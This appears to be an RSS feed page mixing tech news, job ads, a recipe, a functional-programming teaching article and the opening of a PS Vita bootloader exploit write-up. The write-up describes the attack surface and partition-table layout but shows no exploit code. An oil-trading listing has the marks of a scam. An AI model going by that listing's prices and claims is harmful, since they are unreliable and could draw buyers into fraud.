          Adiantum Is Taking Shape As Google's Speck Replacement For Low-End Device Encryption      Cache   Translate Page      
Earlier this year when Google added Speck-based file-system encryption support to the Linux kernel they intended it to be used by low-end Android phones/smartwatches with older ARM processors lacking the dedicated ARM cryptography extensions. Speck is fast enough to provide disk encryption on the low-end hardware, but ultimately they decided against Speck due to public outcry with the algorithm potentially being compromised by the US NSA. Instead Google engineers decided to pursue HPolyC as their new means of encryption on low-end hardware while now that has evolved into a new technology dubbed Adiantum...
          Compile the Linux Kernel and Create Distributable Debian Packages      Cache   Translate Page      
Introduction Compiling a kernel is actually a fairly easy thing to do these days. I’m going to go over how to do this on a Debian box since that happens to be my distro of choice. This will work just as well on Ubuntu. You can always wait for the packaged version, but you’ll always […]
          Ubuntu 19.04 hört auf den Namen Disco Dingo      Cache   Translate Page      
Ubuntu 19.04 trägt den Codenamen Disco Dingo und erscheint vermutlich am 18. April 2019. Mit Gnome 3.32 und Kernel 5?
          (USA-NV-Henderson) Site Reliability Engineer - Interactive Music Platform      Cache   Translate Page      
Site Reliability Engineer - Interactive Music Platform Site Reliability Engineer - Interactive Music Platform - Skills Required - Site Reliability, Kubernetes, Terraform, Automation, UNIX, Docker, Linux, Jenkins, RabbitMQ, Kafka Our company is a social music platform that utilizes proprietary BIG DATA technology to connect independent artists with music fans, industry professionals and entertainment companies. We help independent artists protect, distribute and monetize their music, while providing music fans with a platform to discover new music from emerging artists. Here's a quick summary of who we are and what we do: We use what we've learned from the music industry and artists to create products that connect them and make their lives easier. We're 20% a music company and 80% a tech company. **Top Reasons to Work with Us** We connect the music industry to artists. Every product we create helps us to accomplish that mission. We're looking for talented, like-minded team members to help us in our mission. If that's you, we're thrilled you're here. **What You Will Be Doing** - Work with Program Managers, Software Engineers, and Service Owners to ensure the reliability, availability, and performance of services. - Own projects and initiatives within the team, provide peers with technical mentorship and direction. - Participate in service capacity and demand planning/forecasting, software performance analysis, and system tuning. Tackle problems relating to mission-critical services and build automation to prevent problem recurrence; with the goal of automated response to all non-exceptional service conditions. - Identify underlying root causes and provide recommendations or solutions for long-term permanent fixes to critical production issues. - Develop effective documentation, tooling, and alerts to both identify and address reliability risks. - Participate in on-call rotation with other members of the Site Reliability Engineering Team. **What You Need for this Position** - Experience working with Unix/Linux systems from kernel to shell and beyond, with experience with system libraries, file systems, and client-server protocols. - Heavy experience in distributed systems architectures - layered, event-driven, data-centered, service mesh, etc. - Familiarity with distributed message buses such as Kafka and RabbitMQ. - The ability to read/write code fluently in any of the following: Java, Python, or Go. - Networking: experience with network theory and protocols, e.g. TCP/IP, UDP, DNS, HTTP, TLS, and load balancing. - In-depth understanding of the Software Development Process; including CI and CD pipeline architecture. - An understanding of cloud orchestration frameworks, enterprise IT service provisioning tools, and their role in IT transformation. - Experience with the public and private cloud, including OpenStack, AWS, and Google Cloud Platform. - Familiarity with service configuration and deployment tools, such as Ansible, Consul, Jenkins, Terraform, and Vault. - Experience with container technologies such as Docker and Kubernetes. - Strong interpersonal and communication skills. **What's In It for You** Benefits and...all the good stuff... - $110,000-$130,000 Base - Opportunity to contribute as part of the founding team responsible in creating our innovative music platform that helps the music industry connect with artists in ways that have never been done before. - Opportunities to work and interact directly with our founders, board members and senior executive team. - Career advancement opportunities: As an emerging company experiencing rapid growth, our company provides the perfect environment for an employee to define and achieve their ideal desired professional career path. - Well funded: Series B funding round has been well received and over subscribed. - Proven and experienced management team and board with startup and liquidity experience. - Typical startup perks such as car washes, regular team lunches, company events, complimentary snacks and drinks, etc… - Stock ownership opportunities - Comfortable, productive and creative workspaces including lounges, quiet areas and kitchen. - Casual dress code - Flexible work schedule - Agile development environment - Patented technologies So, if you are a Site Reliability Engineer - Interactive Music Platform with experience, please apply today! Applicants must be authorized to work in the U.S. **CyberCoders, Inc is proud to be an Equal Opportunity Employer** All qualified applicants will receive consideration for employment without regard to race, color, religion, sex, national origin, disability, protected veteran status, or any other characteristic protected by law. **Your Right to Work** – In compliance with federal law, all persons hired will be required to verify identity and eligibility to work in the United States and to complete the required employment eligibility verification document form upon hire. *Site Reliability Engineer - Interactive Music Platform* *NV-Henderson* *PM5-1492855*
          FaceTime RTP Video Processing Heap Corruption      Cache   Translate Page      
There is a memory corruption issue when processing a malformed RTP video stream in FaceTime that leads to a kernel panic due to a corrupted heap cookie or data abort. This bug can be reached if a user ... - Source: packetstormsecurity.com
          Comment on 7 Reasons Why I Use Manjaro Linux And You Should Too by Marcello      Cache   Translate Page      
Ok... I believe you! But, ther's always a "but"... What about the n-vidia drivers? I've installed in my pc a modern n-vidia card and normally when I install a linux distro I have to modify grub writing down "nomodeset", "xforcevesa and so on in order to enter for the first time in the OS. After that I have to install the non free drivers in the hope to have available the latest one. I read today november the 6th, that manjaro recognize the nvidia cards and implemet th elatest driver automatically.. Is that true? And as soon as n-vidia release a new version, how long I have to wait to have it installed in Manjaro? At thr moment I'm a Mint user and I make use of the Ubuntu repo for the video drivers... There's something like that in Manjaro that could do something like that or I have to wait for a new kernel? Marcello - Italy
          Security: Wireguard-VPN veröffentlicht experimentelle iOS-App      Cache   Translate Page      
Die vergleichsweise neue VPN-Technik Wireguard entsteht unter anderem für den Linux-Kernel und soll dort endlich eingepflegt werden. Das zuständige Team hat darüber hinaus nun ein erste experimentelle Version einer Wireguard-App für iOS vorgestellt. (VPN, Verschlüsselung)
          LXer: Woke Linus Torvalds rolls his first 4.20, mulls Linux 5.0 effort for 2019      Cache   Translate Page      
Kernel release candidate adds support for two Chinese CPU families... will these be the final new CPU archs? The new, improved, and chilled-out Linus Torvalds emitted the first release candidate for Linux kernel 4.20 over the weekend.…
          Reddit: Do you guys use iptables / firewalls on your hosted server? And what for?      Cache   Translate Page      

I was wondering the other day how often my VPS server was subject to port scanning attempts. So I started looking into psad, which reads iptable logs and informs the admin when there are suspicious pattern occurring. Naturally, this forced me to deal with my iptables configuration again and even though I know how they work, I pretty much left them untouched on my VPS since the very beginning. This being a while back, I started to re-evaluate my reasons for not having more restrictive iptables rules and came to the same conclusion as before: I don't need them.

My server is a single user system, all services running on it are under my control. Obviously I want them to be reachable anyway so no need blocking anything with iptables (yet) and the other ports which are not used by any service are obviously not a vulnerability either.

So I googled other people's opinions and didn't find anything invalidating my reasoning, except that maybe a hacker could run a backdoor on an unprotected port. Of course, if your server is a gateway or a windows machine, there are plenty reasons for using a firewall. But I was wondering if I was missing a good reason to use iptables in my described scenario, so what are your reasons for using iptables?

Edit: As someone mentioned it in the comments: There may be downsides to using iptables, as it may open up security holes. An example of this was mentioned in the ubuntu forum referencing kernel ChangeLog-2.6.21.4.

submitted by /u/XaserII
[link] [comments]
          Reddit: Lines of code in the Linux kernel      Cache   Translate Page      
submitted by /u/udoprog
[link] [comments]
          PostgreSQL Database Administrator - Upgrade - Montreal, WI      Cache   Translate Page      
Solid Linux fundamentals including kernel and OS tuning, as they relate to DB performance and security. Upgrade is a consumer credit platform that is changing...
From Upgrade - Wed, 22 Aug 2018 22:02:31 GMT - View all Montreal, WI jobs
          Administrador SAP/ AS400 - Krell Consulting & Training - Valencia, España      Cache   Translate Page      
Krell Consulting & Training, es una compañía de consultoría tecnológica y desarrollos de sistemas IT, con innovación, calidad y capacidad en la formación especializada de sus profesionales y clientes. Buscamos un Administrador de SAP sobre AS400 para trabajar en uno de nuestros principales clientes en Valencia. Funciones: Copias homogéneas. Actualización kernel. Exportación de B.D. DB2/400. Requisitos: Capacidad de trabajo en equipo. Se valorará certificación oficial...
          Curved spacetime effective field theory (cEFT) -- construction with the heat kernel method      Cache   Translate Page      
arXiv:1811.01656

by: Nakonieczny, Łukasz
Abstract:
In the presented paper we tackle the problem of the effective field theory in curved spacetime (cEFT) construction. To this end, we propose to use the heat kernel method. After introducing the general formalism based on the well established formulas known from the application of the heat kernel method to deriving the one-loop effective action in curved spacetime, we tested it on selected problems. The discussed examples were chosen to serve as a check of validity of the derived formulas by comparing the obtained results to the known flat spacetime calculations. On the other hand, they allowed us to obtain new results concerning the influence of the gravity induced operators on the effective field theory without unnecessary calculational complications.
          Vimal Oil Co.Limited      Cache   Translate Page      
Vimal Oil Co.LTD company is a supplier of oils and fats since 1838. We offer Refined, USP/NF, Crude and Kosher (where applicable) vegetable oils, animal fats, fatty acids, and other oils for various industries. We are certified and registered by the Food and Drug Administration (FDA), as a drug repackaging establishment -- all products are continually tested to maintain the highest quality. A full-time in house quality control laboratory tests and analyzes incoming and outgoing products using methods prescribed by U.S.P., F.C.C., A.O.C.S., A.S.T.M., and via gas chromatography to verify that they meet the required specifications and industry standards. Vimal Oil Co.LTD as a big company sell all it product at cheap and affordable price''s. Here are the list of different kinds of products we offer for sale from our company WE CAN ALSO INVOLVE IN RESEARCH ACTIVITIES WITH YOUR ORGANIZATION. WE HAVE DEVELOPED A KNOWLEDGE NETWORK ON OIL AND BIODIESEL. WE ALSO LIST ALL PRODUCTS AVAILABLE IN STOCK IN THE YEAR 2008 IN BELOW PRODUCTS LIST SINCE OUR PRODUCTION HAS INCREASED AND ANY INTERESTED BUYER WHO IS INTERESTED IN ANY OF OUR PRODUCTS SHOULD CONTACT US FOR THEIR PRICES. WE ARE THE PRODUCER QUANTITY: MINIMUM ORDER - 5 MT PER SHIPMENT WE OFFER FREE SAMPLES BUT YOU ARE ONLY GOING TO PAY FOR FREIGHT TO YOUR DOORSTEP MAXIMUM ORDER - 25,000 MT PER SHIPMENT DATE OF FIRST DELIVERY: BY AGREEMENT IN CONTRACT DELIVERY METHOD: BULK BY VESSEL, SHIP TO TANK ETC DELIVERY TIME ......2 TO 4 WEEKS EXPRESS SERVICE BY AIR SAMPLES DELIVERY TIME ......WITHIN 48 HOURS PACKING: IN CUSTOMER PROFFERED METHOD PAYMENT:L/C, T/T ( BANK TRANSFER ), WIRE TRANSFER INSPECTION: THE QUALITY AND QUANTITY OF GOODS WILL BE CONFIRMED FOR EACH SHIPMENT ON A CERTIFICATE ISSUED BY THE SGS AT DISCHARGE PORT AT BUYERS ACCOUNT WHICH SHALL BE BINDING ON BOTH PARTIES IN ALL RESPECTS WE SELL PER METRIC TON(MT) vimaloiltds@yahoo.com VEGETABLE OIL FOR .....................................USD220 PERMT SESSAME OIL FOR .......................................USD220 PERMT CORN OIL FOR ..........................................USD220 PERMT SOYA BEAN OIL FOR .....................................USD250 PERMT JATROPHA OIL FOR ......................................USD250 PERMT RBD PALMOIL FOR .......................................USD220 PERMT PALM OIL FOR ..........................................USD220 PERMT COOKING OIL FOR .......................................USD200 PERMT BIODIESEL FOR .........................................USD300 PERMT CASTOR OIL FOR ........................................USD240 PERMT GRAPE SEED OIL FOR ....................................USD240 PERMT JOJOBA OIL FOR ........................................USD220 PERMT CRUDE PALM OIL FOR ....................................USD220 PERMT PALM, RBD OLEIN FOR ...................................USD220 PERMT SUNFLOWER OIL FOR......................................USD230 PERMT PALM STEARIN ORGANIC FOR ..............................USD220 PERMT VIRGIN COCONUT OIL FOR ................................USD240 PERMT KAPOP SEED OIL FOR ....................................USD200 PERMT RAPESEED OIL FOR ......................................USD270 PERMT SAFFLOWER OIL FOR .....................................USD200 PERMT SNAKE OIL FOR..........................................USD20 0 PERMT vimaloiltds@yahoo.com BELOW ARE SOME OF OUR PRODUCT LISTED. ACAI OIL ALMOND OIL AMARANTH OIL APRICOT OIL ARGAN OIL AVOCADO OIL BABASSU OIL BASIL OIL BERGAMOT OIL BIODIESEL BLACK CURRANT SEED OIL BLACK SEED OIL BORAGE OIL BRAZIL NUT OIL BUCHU OIL CAMELLIA OIL CAMOMILE OIL CANOLA OIL / RAPESEED OIL CAROB POD OIL CARROT SEED OIL CASHEW OIL CASTOR OIL CINNAMON OIL CLOVE OIL COCOA BUTTER COCONUT OIL CORIANDER SEED OIL CORN OIL COTTONSEED OIL CRANBERRY SEED OIL CUMARU - TONKA BEAN OIL CUMIN SEED OIL DILL SEED OIL EUCALYPTUS OIL EVENING PRIMROSE FENNEL SEED OIL FENUGREEK OIL FLAX SEED OIL GERANIUM OIL GINGER OIL GOUND NUT OIL GRAPE SEED OIL GRAPEFRUIT OIL HAZELNUT OIL HEMP OIL JATROPHA OIL JOJOBA OIL JUNIPER BERRY OIL KAPOK SEED OIL LAVENDER OIL LEMON GRASS OIL LEMON OIL LINOLEIC ACID LINSEED OIL LYSINE MACADAMIAN NUT OIL MELISSA OIL MINT OIL MORINGA OIL MUGWORT OIL MUSTARD OIL MYRRH OIL NEEM OIL NUTMEG OIL OLIVE OIL OLIVE OIL - VIRGIN OLIVE OIL - EXTRA VIRGIN OLIVE OIL - LAMPANTE OLIVE OIL - POMACE OLIVE OIL - REFINED ORANGE OIL OREGANO OIL OTHER PALM KERNEL OIL PALM OIL PALM OIL - CRUDE PALM OIL - ORGANIC PALM STEARIN PALM STEARIN - ORGANIC PALM, RBD OLEIN PALMAROSA OIL PATCHOULI OIL PECAN OIL PENNY ROYAL OIL PEPPERMINT OIL PERILLA SEED OIL PINE SEED OIL PISTACHIO POMEGRANATE SEED OIL POPPY SEED OIL PRUNE KERNAL OIL PUMPKIN SEED RED PEPPER OIL RICE BRAN OIL ROSE HIP OIL ROSE OIL ROSEMARY OIL ROSEWOOD SAFFLOWER OIL SAGE OIL SANDALWOOD OIL SAVORY OIL SESAME OIL SHEA BUTTER SOYA BEAN OIL STAR ANISE OIL SUNFLOWER OIL TARRAGON OIL TEA SEED OIL TEA TREE OIL THYME OIL TRUFFLE OIL TUNG OIL VEGETABLE OIL VEGETABLE OIL - USED WALNUT OIL WHEAT GERM OIL FOR MORE INQUIRIES MAIL :vimaloiltds@yahoo.com
          Teaching Functional Programming: Two Big Picture Approaches      Cache   Translate Page      

Functional Programming (FP) has been around just as long if not longer than Object-Oriented Programming (OOP), but it's only (relatively) recently gaining in popularity, particularly (maybe specifically?) in the JavaScript community. Why?

I went to MIT in the early 00's. Structure and Interpretation of Computer Programs (SICP - sick-pee) was my textbook. So my first formally-taught programming language was functional. Then I worked in industry for over a decade and hardly ever had to think much about FP. Now I'm shocked to learn that the textbook from college I didn't pay much mind to is considered the "functional programming bible".

Don't get me wrong. It's a good textbook. I'm sure it made me a better programmer. But it wasn't something I applied very often in my Java/ActionScript/PHP/Python/Ruby/JavaScript career.

Then I taught at Wyncode Academy for four years and found myself trying to explain FP concepts to newcomers. It's hard - much harder than OOP.

Why is FP so much harder than OOP?

Related question: Why has it taken so long for FP to catch on?

We in the coding community need to grapple with why FP is so hard to teach. Evangelizing FP like a religion repeats the same mistakes that caused FP to languish in the industry for so long.

Many introductions to FP are missing something. It's not just an alternative programming style. It's a new way of thinking. When introducing something big and new to my students, I try to ease them into it. These same tricks may also work with more experienced programmers from OOP backgrounds.

One of the techniques I used at Wyncode to get a running start into a hard concept is storytelling. If I can get my students to understand the context - the big picture - I find it easier to later explain the technical details.

Big Picture 1: History

Sometimes it's good to start from the beginning: How does a computer work?

The most common (popular? easy-to-understand?) model of computing is the Turing Machine. The state that FP programmers complain about is staring us right in the face in a Turing Machine. An algorithm for operating this machine represents transitions between different states, e.g. from some boxes being on/off (1 or 0) to some other boxes being on/off.

If we try to imagine two Turing Machines operating on the same section of tape at the same time, we can begin to understand why "shared state" and concurrency in OOP are hard problems. But that's another story.

The Turing Machine is a universal machine. It can be used to solve every solvable (effectively calculable) math and logic problem. This simple collection of operations - move left, move right, write a dot, read a dot, erase a dot - are enough (given enough time and resources) to tackle every math problem in the universe. That's what Alan Turing proved in 1936.

In many ways, a Turing Machine is how a computer "works".

But this is also how a computer works.

full adder circuit#source%3Dgooglier%2Ecom#https%3A%2F%2Fgooglier%2Ecom%2Fpage%2F%2F10000
A full adder circuit

This is a circuit for adding numbers together. It's the kind of component found inside the CPU of a computer.

This is not a Turing Machine. It's not universal. It's just addition. It can't (easily) be "reprogrammed".

There's also no Turing-machine-like "state". Apply voltage to the inputs corresponding to the numbers to add and detect voltage in the outputs corresponding to the sum. As soon as the voltage is shut off, the answer goes away. There's no "tape" sitting around to read or manipulate. Two circuits can't operate on the same logic gates simultaneously. (I don't think they can, but I'm sure someone will comment to prove me wrong.)

This circuit is also fast. While a classic Turing Machine flips 1s and 0s back-and-forth on some medium, this circuit operates at the speed of electricity through a wire. There are no moving parts.

A circuit is a different model of computation. Each of the logic gates (AND, OR, NAND, NOR, XOR, etc.) are pure functions. They accept inputs and produce outputs with no side-effects. If all we have is the ability to create and combine these "functions", we can also solve every solvable math problem in the universe. That's what Alonzo Church proved, also in 1936.

So we've got two different models of computing: the Turing Machine's little boxes of 0s and 1s (objects) and Alonzo's Church's lambda calculus built out of logic gates (functions). Which one is correct?

For a time there was a debate about whether an abstract Turing Machine could solve the same set of math problems as lambda calculus (and vice versa). Eventually they were proven to be equivalent.

Being equivalent means that they're equally powerful. Any algorithm that can be written for a Turing Machine can also be written using functions. So any program that can be written in Turing Machine software can also be represented in circuitry hardware.

What does it mean to "program in hardware"?

We can see "hardware programming" embodied in Application-specific Integrated Circuits (ASICs). Circuits can be created that are "programmed" to do one thing very quickly, like mine Bitcoin or play chess.

Since the proposal of the Church-Turing Thesis, we've had two programming options. Hardware is faster and software is slower. Make a mistake in software? Just hit the delete key and try again. Make a mistake in hardware? It's time to grab a soldering iron. It's a classic engineering design trade-off.

So let's say we have an algorithm written in an OOP style that we'd like to convert into an ASIC. It's probably a good strategy to rewrite the program in a FP style so it better maps to the circuit diagram's domain. Most programming languages are flexible enough to do that, but some are better at it others.

# Elixir pipes
"1" |> String.to_integer() |> Kernel.*(2) # returns 2

FP-oriented languages tend to look like circuits. Specifically the "pipe operators" in Unix, Elixir, F#, JavaScript (maybe someday) and others make code look like a circuit diagram: inputs go into the left, flow through a number of "gates" (pipes) until they're transformed into the final output on the right. It's probably not a coincidence that the pipe operator used by some languages (|>) looks like a logic gate.

NOT logic gate#source%3Dgooglier%2Ecom#https%3A%2F%2Fgooglier%2Ecom%2Fpage%2F%2F10000
The NOT gate

Putting my coding instructor hat back on, a good "big picture" way of introducing FP is to start by talking about how circuits work, how they can be "programmed", and how we can model circuit diagrams in code.

Big Picture 2: Philosophy

I picked up a Philosophy minor with my CS degree, so one of the things I'm fascinated by is the intersection between those two fields of study. I find talking about the overlap helpful when teaching new coders, particularly those with Humanities instead of STEM backgrounds.

A philosophically important concept in FP is "functional equivalence".

Perhaps the best example demonstrating this equivalence is Tom Stuart's great article "Programming From Nothing".

Stuart demonstrates how a program (specifically the ubiquitous FizzBuzz) can be written entirely out of functions. I'm not going to repeat that exercise here, but I am going to borrow his explanation of how numbers can be represented entirely with functions (the Church encoding).

Start by defining the concept of zero as a function that accepts a function argument and does nothing with it.

# Ruby
ZERO = -> (func) { 
  # does nothing
  func
}

Similarly we can define all the natural numbers as functions that accept function arguments and call them n-times.

ONE = -> (func) {
  # calls it once
  # same as func.call()
  func[];
  func
}

TWO = -> (func) {
  # calls it twice
  func[]
  func[]
  func
}

To test these "function-numbers", pass them a test function.

HELLO = ->() { puts "hello" }

# same as: ZERO.call(HELLO)
ZERO[HELLO] # nothing displayed
ONE[HELLO]  # one "hello" displayed
TWO[HELLO]  # "hello" twice

This functional-numeric representation can be hard to play around with and debug.

p ZERO
# outputs #<Proc:0x000055d195ae57b0@(repl):3 (lambda)>

So to make it easier to work with we can define a function that will convert these functional-numbers into the object-numbers we're used to.

# convert number function into number object
def to_integer(func)
  # count how many times counter is called
  n = 0
  counter = ->() { n += 1 }
  func[counter]
  n
end

p to_integer(ZERO) # 0
p to_integer(ONE)  # 1
p to_integer(TWO)  # 2

This converter creates a counting function and passes it to the numeric function. The ZERO function will call it zero times, the ONE function will call it one time, etc. We keep track of how many times the counter has been called to get the result.

Given these function-number definitions, we can implement addition.

ADD = -> (func1, func2) {
  -> (f) { func1[func2[f]] }
}

sum = ADD[ZERO, ZERO]
p to_integer(sum) # 0

sum = ADD[ZERO, ONE]
p to_integer(sum) # 1

sum = ADD[ONE, ONE]
p to_integer(sum) # 2

If TWO calls a function twice, then ADD[TWO, TWO] will return a function-number that calls its argument four times (the function-number FOUR).

It's a mind-bending exercise. When I get to the end of "Programming From Nothing", I get the sense that this is an interesting product of the clever application of a fundamental computer science concept, but not something I could use in my day job.

And that's exactly the sense that I (and I suspect many others) have about FP in general - it's clever, but doesn't seem very useful. That's the problem we need to solve.

So a better place to start teaching FP than Church numerals is The Matrix.

In that 1999 sci-fi film, the reality perceived by most humans is actually a simulation called "The Matrix". A few months ago Elon Musk suggested that this "simulation hypothesis" may be real, starting weeks of "Intro to Philosophy"-level media on the topic.

What does The Matrix have to do with FP?

The metaphysical debate, of which the "simulation hypothesis" is but one response, is very old and mind-numbingly complicated at times. So my attempt to summarize it won't do it justice. But the big idea is that we have no proof that the world around us is real. Maybe there are actual objects in the world or maybe we're just brains in jars.

So there are at least two contradictory theories of what, for example, the number one is. Is it a thing (a noun, an object) that we can interact with (touch & feel)? Or is it an action (a verb, a function), something that acts on the world, but isn't embodied?

The functional-one is a simulation of the number one. It's functionally equivalent to the object-one, meaning it does everything the object-one can do. For example, we can do arithmetic with it.

But it's not really "there" in the way that objects in OOP are "there". It's a Matrix simulation. It doesn't have inherent attributes - it isn't x, it just does x.

To pick a less abstract example, is the chair you're sitting in real or just forces pressing against your body? A "chair" may be a chair-object that exists in the real world or a chair-function: a (hopefully comfortable) force pushing against you with no underlying objective basis.

red delicious apple#source%3Dgooglier%2Ecom#https%3A%2F%2Fgooglier%2Ecom%2Fpage%2F%2F10000
A red delicious apple

Consider color. Is a red delicious apple really red (adjective describing a noun) or does it act red (verb)? Is color an inherit attribute of a real underlying apple-object or just an action that an apple-function is programmed to do when light shines on it? Is the apple real or just a simulation?

# A "real" apple
class Apple
  attr_reader :color
  def initialize
    @color = "ruby red"
  end
end

p Apple.new.color # "ruby red"
# A "simulated" apple
APPLE = -> (applied) {
  return "ruby red" if applied == "light"
}

p APPLE["light"] # "ruby red"

The difficulty of this philosophical concept is good metaphor for why FP is so hard to teach. To help students understand, start by opening up their minds to the possibility of a world made up solely of "functions". Start with that big picture concept, then transition towards FP models of the world: how they differ from OOP representations and how they have equivalent results.

Conclusion

FP is hard. It's not just a different programming style. It's an alternative model of the world. And the better we are at easing students into that paradigm shift, the easier it'll be to avoid another half-century of ignoring this useful tool in the coder's toolbox.


          Ravinder Bhogal’s recipe for mussel, rice and sweetcorn soup      Cache   Translate Page      

A cross between a chowder and a Chinese broth, this will brighten up the darkest winter days in only 15 minutes

My mussel and sweetcorn soup is a cross between a chowder and a Chinese soup. It mixes briny shellfish with sweetcorn like a chowder, but employs sesame oil, ginger and turmeric for an Asian twist. I add rice to give the broth some body. This recipe is especially good because it can be rustled up quickly to brighten the darkest winter days – especially with the convenience of frozen corn.

Prep time: 10 minutes
Cooking time: 15 minutes
Serves: 4

3 tbsp neutral oil
1 tbsp grated ginger
1 lemon, zest and juice
1 tsp turmeric
500g sweetcorn kernels
1 litre chicken stock
100g basmati rice
Sea salt
White pepper, freshly ground
Sesame oil
1kg mussels, scrubbed and debearded
Coriander, freshly chopped

Continue reading...
          Linux Kernel 4.19 recibe su primera actualización de mantenimiento, listo para instalaciones masivas      Cache   Translate Page      

Después de lanzar la serie Linux 4.19, el desarrollador Greg Kroah-Hartman ha vuelto para seguir actualizando varias ramas con soporte...

El artículo Linux Kernel 4.19 recibe su primera actualización de mantenimiento, listo para instalaciones masivas ha sido originalmente publicado en Linux Adictos.


          Nový tovar: Kingston DataTraveler 101 G2 32GB USB 2.0 flashdisk s otoč. konektorom, fialový DT101G2/32GB      Cache   Translate Page      
Výrobca: Kingston; Trieda produktu: Pamäte USB (pendrive); Kapacita pamäti (flash): 32 GB; Pamäťové rozhranie: USB 2.0; Rýchlosť čítania: 10 MB/s; Rýchlosť zápisu: 5 MB/s; Vstavaná čítačka pamäťových kariet: Nie; Šírka: 57.18 mm; Výška: 10 mm; Hĺbka: 17.28 mm; Podporované OS: Microsoft Windows 2000, Microsoft Windows XP, Microsoft Windows Vista, Microsoft Windows 7, Mac OS Xv10.5 či novší, Linux Kernel 2.6 a novší; Doplňujúce informácie: SW urDrive pro snadnější organizaci dokumentů a Mozilla Firefox portable; Viac informácií: KINGSTON CZ [LINK]
          Nový tovar: Kingston DataTraveler SE9 64GB USB 2.0 kovový flashdisk malých rozmerov DTSE9H/64GB      Cache   Translate Page      
Výrobca: Kingston; Trieda produktu: Pamäte USB (pendrive); Kapacita pamäti (flash): 64 GB; Pamäťové rozhranie: USB 2.0; Vstavaná čítačka pamäťových kariet: Nie; Šírka: 39 mm; Výška: 4.55 mm; Hĺbka: 12.35 mm; Podporované OS: Microsoft Windows 2000, Microsoft Windows XP, Microsoft Windows Vista, Microsoft Windows 7, Mac OS Xv10.5 či novší, Linux Kernel 2.6 a novší; Viac informácií: KINGSTON CZ [LINK]
          Administrador SAP/ AS400 - Krell Consulting & Training - Valencia, España      Cache   Translate Page      
Krell Consulting & Training, es una compañía de consultoría tecnológica y desarrollos de sistemas IT, con innovación, calidad y capacidad en la formación especializada de sus profesionales y clientes. Buscamos un Administrador de SAP sobre AS400 para trabajar en uno de nuestros principales clientes en Valencia. Funciones: Copias homogéneas. Actualización kernel. Exportación de B.D. DB2/400. Requisitos: Capacidad de trabajo en equipo. Se valorará certificación oficial...
          Comentario en Los Google Nexus habrían recibido ayer su última actualización de software por Oever      Cache   Translate Page      
Todos los fabricantes reducen el rendimiento por culpa de la batería. Absolutamente todos, los de Android, Apple, da igual. El código fuente oficial de todos los kernel de todos los teléfonos Android cuenta con un mecanismo para reducir la corriente extraída de la batería en función de los ciclos de la misma. Exigir de más a una batería de litio gastada es garantía de un fallo que podría fácilmente matar o herir a los consumidores.
          Ensō: A PS Vita bootloader exploit      Cache   Translate Page      

HENkaku Ensō, the first ever permanent jailbreak (also known as a custom firmware) for all PlayStation Vita devices running home menu version 3.6 was released by molecule on 2017-29-07.

In this blog post I’ll explain how I found the vulnerability and how the exploit was developed and debugged. The rest, i.e. actually loading the jailbroken CFW, is covered in this follow-up article by Yifan Lu.

You might notice how in the linked post Yifan refers to Ensō as “one of the first vulnerabilities we found was in the bootloader”. This is an obvious lie, I found this vulnerability all by myself, trust me. Now that we’re clear on that, please carry on reading.

Introduction

Bootloaders are a great target to exploit. Taking over the boot process early on lets us execute our code before the system has finished initializing, allowing for much more control compared to a more traditional exploit chain such as HENkaku. In some cases it might be possible to create a future-proof exploit, i.e. being able to keep the exploit working and having latest firmware’s features (for example, support for newer games) at the same time. Unfortunately, this is not the case with Vita and Ensō, but hacking the bootloader is still worth it.

Terminology

  • ASLR: Address space layout randomization. The important thing here is that Vita bootloader doesn’t have it, so a memory corruption can be turned into an exploit fairly easily.
  • ARM: The main Vita processor is a quad core Cortex-A9. In addition, Vita has a security processor, which is a Toshiba MeP, a MIPS processor used for PSP compatibility, a bunch of PowerVR GPU cores using two custom assembly languages, syscon: an external Renesas chip, and more.
  • TrustZone: The CPU supports ARM TrustZone technology, which isolates so-called “trusted” code from the rest of the system. For the purposes of this article, however, you just need to know that it is somewhat of a one side barrier between trusted (aka secure) and untrusted code, allowing trusted code to gain control over untrusted but not vice-versa. Execution starts from secure mode and transfers to non-secure.
  • SBL: secure boot loader. This is the first code that runs on ARM. It sets up NSBL (see below) and transfers control to it after dropping out of the secure mode.
  • NSBL: non-secure boot loader. This is the first code that runs on ARM in non-secure mode (outside of TrustZone).
  • eMMC: This is the primary persistent storage on Vita. It’s where the operating system, bootloaders, and system data are all stored.

Sidenote: Unlike most embedded devices, Vita implements device unique eMMC block level encryption that is transparent to the processor. This means that if you dump the data from the chip (or sniff data lines), you’ll get encrypted data. At the same time, Vita operating system will always see the decrypted data, even at the most privileged level of its operation. One consequence of this is that you have to dump and restore the data the same way. For example, if you dump the data using an eMMC adapter, you can’t restore it in software as it will have a layer of encryption unaccounted for, and vice-versa.

  • Block: data is read from eMMC in blocks. The physical block size is 0x200 bytes, so reading a single block from eMMC means reading 512 bytes.

Attack vectors

SBL is the first code to execute on the ARM processor. Unfortunately, it takes no controlled input whatsoever, so it is not possible to attack in any way.

The obvious next target is NSBL. Because it reads and loads the kernel, it is also the first code running on ARM where we can affect the execution flow. An example of affecting its execution flow is removing all kernel modules from os0:, which would turn your Vita into a useless paperweight.

The very first step of loading kernel modules is reading and parsing the filesystem they are stored on. Let’s dig deeper into the process.

Partition table

The eMMC storage on Vita is divided into multiple partitions that have different responsibilities. In this post I’ll only look at os0:, however, if you’re interested in the full list, check out the wiki article on the subject.

A partition table stores partitions’ locations, sizes and other miscellaneous information. For example, on Vita we have os0: and vs0: partitions; on Linux you may have /dev/sda1 and /dev/sda2. The partition table is usually stored in the first blocks of the physical device. Common partition table formats used on PC are MBR (also called DOS) and GPT.

On Vita, however, a custom partition table format is used. The first physical block, i.e. bytes [0x000; 0x200), contain the partition table. The structure is documented on the wiki. While not completely accurate, I’ll refer to this block as MBR throughout this article. In pseudocode Vita’s MBR would be:

typedef struct {
    uint32_t off;
    uint32_t sz;
    uint8_t code;
    uint8_t type;
    uint8_t active;
    uint32_t flags;
    uint16_t unk;
} __attribute__((packed)) partition_t;    // Size = 17 bytes

typedef struct {
    char magic[0x20];
    uint32_t version;
    uint32_t device_size;
    char unk1[0x28];
    partition_t partitions[0x10];
    char unk2[0x5E];
    char unk3[0x10 * 4];
    uint16_t sig;
} __attribute__((packed)) master_block_t;  // Size = 512 bytes

Vita supports up to 16 partitions and each partition entry is 17 bytes. For example:

00000000  53 6f 6e 79 20 43 6f 6d  70 75 74 65 72 20 45 6e  |Sony Computer En|
00000010  74 65 72 74 61 69 6e 6d  65 6e 74 20 49 6e 63 2e  |tertainment Inc.|
00000020  03 00 00 00 00 00 76 00  00 00 00 00 00 00 00 00  |......v.........|
00000030  6b 40 00 00 6a 00 00 00  00 40 00 00 00 40 00 00  |k@..j....@...@..|
